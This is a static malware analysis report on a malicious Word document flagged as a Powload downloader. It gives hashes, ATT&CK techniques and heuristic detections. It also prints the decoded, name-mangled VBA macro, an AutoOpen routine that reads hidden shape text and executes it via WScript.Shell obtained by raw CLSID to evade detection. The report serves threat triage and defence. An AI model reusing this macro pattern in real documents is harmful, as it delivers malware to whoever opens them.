Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e61a5ea32d75a7fa…

MALICIOUS

Office (OLE)

132.9 KB Created: 2018-11-28 18:53:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 927d6c4a21401a3a3d2939ed4bebe902 SHA-1: 499c22f9fd62fbf60fcac8fc637197059309ab53 SHA-256: e61a5ea32d75a7fa934724802d3577f8ea2a535e4210735f32d2236b09a0d40d
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1218.011 System Binary Proxy Execution: Rundll32 T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that leverage the `WScript.Shell` COM object, a known indicator of malicious activity. The `AutoOpen` macro and the reference to PowerShell suggest an attempt to download and execute a secondary payload. The embedded VBA script is heavily obfuscated, but the presence of `WScript.Shell` and the PowerShell reference strongly indicate a downloader or droppper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Powload-6779192-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6779192-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
       End Select
Set oZAdYfdi = CVar(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + VoIZdpM + afGinm + fvTTWdaK + YLAVBalq))
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
       End Select
Set oZAdYfdi = CVar(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + VoIZdpM + afGinm + fvTTWdaK + YLAVBalq))
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5293 bytes
SHA-256: 78fc72d9d284507f066b0106f647b2820db8fae4401ff31e83a5943d77e5146a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
110 of 178 identifiers look randomly generated (e.g. 'wIEaqKWmdfnQ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HXbEGlvJu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case qbkOiN
      Case 68375030
         wwhRw = CBool(AGjGHml)
         NtfrmsrU = 84320892
hUGcX = CBool(tTwTqZi)

      Case 182965248
CkdEoYC = CBool(JNqjqaS)
         clXkd = Atn(XiIMnn)
qnLDUk = CBool(OPYli)
         zOjsDtfJO = Atn(263063334 * CLng(73465813))
   End Select
   On Error Resume Next
Select Case czHQI
      Case 166725721
         hszikLlr = CBool(cmiUXjT)
         vrXinBw = 117412365
QddWKO = CBool(kOaUXd)

      Case 270118713
JjFAZpivd = CBool(VQBHuqC)
         QvHNGS = Atn(UkIGwHR)
cYGww = CBool(iliAupzMc)
         jSKNtn = Atn(315809158 * CLng(169611293))
   End Select
   On Error Resume Next
Select Case aZmLS
      Case 23331969
         fTpGzrZfT = CBool(pRbsQkpvp)
         ADbqnv = 175747867
aZPhqao = CBool(LIpmOVs)

      Case 253360620
DlIKow = CBool(disbrz)
         CQAFuf = Atn(aBEmZ)
FCFfLock = CBool(SOmcw)
         HiMlM = Atn(272740918 * CLng(257945701))
   End Select
Set PwGFdk = Shapes("wIEaqKWmdfnQ")
   On Error Resume Next
Select Case vWcwh
      Case 169456876
         KRNXC = CBool(rtlzEVA)
         SlvwEsb = 262111437
uSYlXKPSi = CBool(WwIzT)

      Case 136223296
wktYsNod = CBool(ljAdhZW)
         SEdnUi = Atn(iZMifJl)
bPvquZC = CBool(jHvYi)
         Bawaph = Atn(95267664 * CLng(282738003))
   End Select
kaPfk = "" + AEYNli + XtSAK + QAtjZKnM + hFUENkO + PwGFdk.TextFrame.TextRange.Text + opOzvROz + WfjEZIcY + rkhvO
   On Error Resume Next
Select Case ralwiamES
      Case 103999769
         zMWQcKPWV = CBool(QQwPGCkPB)
         WZADPq = 274745432
JAXBwv = CBool(LtAjbDzp)

      Case 327071244
KmicXCo = CBool(BbZMTA)
         VENVWPRD = Atn(uIkjaLWk)
cFDGh = CBool(wikzTGzZ)
         zGwmU = Atn(176728640 * CLng(74010118))
   End Select
   On Error Resume Next
Select Case vUhus
      Case 88728886
         CMHtkT = CBool(zOokq)
         sYtcNKRjv = 39666124
dhjaZiQw = CBool(ioOtDnLI)

      Case 309266648
fNjwQWa = CBool(jhwbG)
         UQDnh = Atn(kXnCHDK)
YawIo = CBool(aZwkQEz)
         jPrHiIZ = Atn(258625567 * CLng(233788732))
   End Select
   On Error Resume Next
Select Case JlYJsA
      Case 31432039
         vTPsG = CBool(HSJWNsY)
         PrCjKvLsK = 230496179
XmiGSuE = CBool(XZYSsLFq)

      Case 262037486
FBUuLWjHL = CBool(JpCJjQjkd)
         qbIGAY = Atn(ZJUFFXwFh)
cbHaL = CBool(OciXPlcc)
         NcFdsN = Atn(296920009 * CLng(261259652))
   End Select
   On Error Resume Next
Select Case LzmfZzT
      Case 262855450
         iaWcVXia = CBool(MFXDpPlL)
         MEAfScl = 163112288
plmXoL = CBool(wwXfstHIV)

      Case 23239767
EHHWuOaH = CBool(iDIuqwFt)
         zoQLMrQO = Atn(iSzsJOph)
KSqXzh = CBool(Mvqcpwo)
         SYOVsv = Atn(108606244 * CLng(43866728))
   End Select
Set oZAdYfdi = CVar(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + VoIZdpM + afGinm + fvTTWdaK + YLAVBalq))
   On Error Resume Next
Select Case krBTKrUF
      Case 194695741
         vNNfCYvb = CBool(EoVRW)
         vFFmPrNi = 124189189
YIjjwKvr = CBool(LJshpzz)

      Case 165465746
qwOaffOlO = CBool(Nqhiuw)
         POrFuti = Atn(KiDXQmQSX)
WUzdBUKv = CBool(dfdazlL)
         khkwDjiU = Atn(4037643 * CLng(78007216))
   End Select
   On Error Resume Next
Select Case WYwRaXkY
      Case 25276366
         wBFNjZAOX = CBool(AwOiTrjLs)
         JILJUm = 18066899
okUvzQz = CBool(TFEcOwUIf)

      Case 171130406
OwjoY = CBool(onppvtuW)
         amiFzzk = Atn(YiHQAN)
DiucndEw = CBool(PIdHJXMJG)
         VidaaMdiL = Atn(62051919 * CLng(114890501))
   End Select
Const lGLXjE = 0
   On Error Resume Next
Select Case wFctiSnY
      Case 26204109
         qNcMO = CBool(AVVIOYhbZ)
         Iazth = 15729994
WECTE = CBool(NUubTT)

      Case 119225001
KwqzQMG = CBool(YYAUaKM)
         KXoJFIL = Atn(wDIoUzN)
HhziG = CBool(QpwwjiTkr)
         HUQwf = Atn(59551597 * CLng(112995466))
   End Select
oZAdYfdi.Run kaPfk, lGLXjE
   On Error Resume Next
Select Case lLnAbE
      Case 135102571
         BXSMjJ = CBool(dHBbJirpA)
         FPSRXr = 37736224
XDtuXsw = CBool(lXKfZN)

      Case 63365356
bAYBrj = CBool(WmoWpBwif)
         hJGwjj = Atn(fuwUi)
lrGDpWT = CBool(nrJXH)
         VHMosiTs = Atn(28438263 * CLng(21514151))
   End Select
   On Error Resume Next
Select Case aACphzKYD
      Case 1641119
         AwlDuuPO = CBool(QoYSCNi)
         XNjpNO = 40906173
ibvAFXpvI = CBool(murKY)

      Case 78937904
Xalcj = CBool(TTzBqQzn)
         fDPSTOWs = Atn(dJzakTMpX)
pnUXupbh = CBool(WziKQ)
         PovGs = Atn(309619591 * CLng(9927627))
   End Select
   On Error Resume Next
Select Case QQbwObzrP
      Case 65138532
         jLIBIZDKM = CBool(lUzzTZqhq)
         Bwthpckcj = 251331160
aVwrDajK = CBool(vctwfviw)

      Case 311297369
HKZPq = CBool(SbMfoada)
         LwwHQ = Atn(GXEwYDvCt)
mjfidAGIH = CBool(zXizUwSs)
         zfqiCB = Atn(256402581 * CLng(138032789))
   End Select
End Sub

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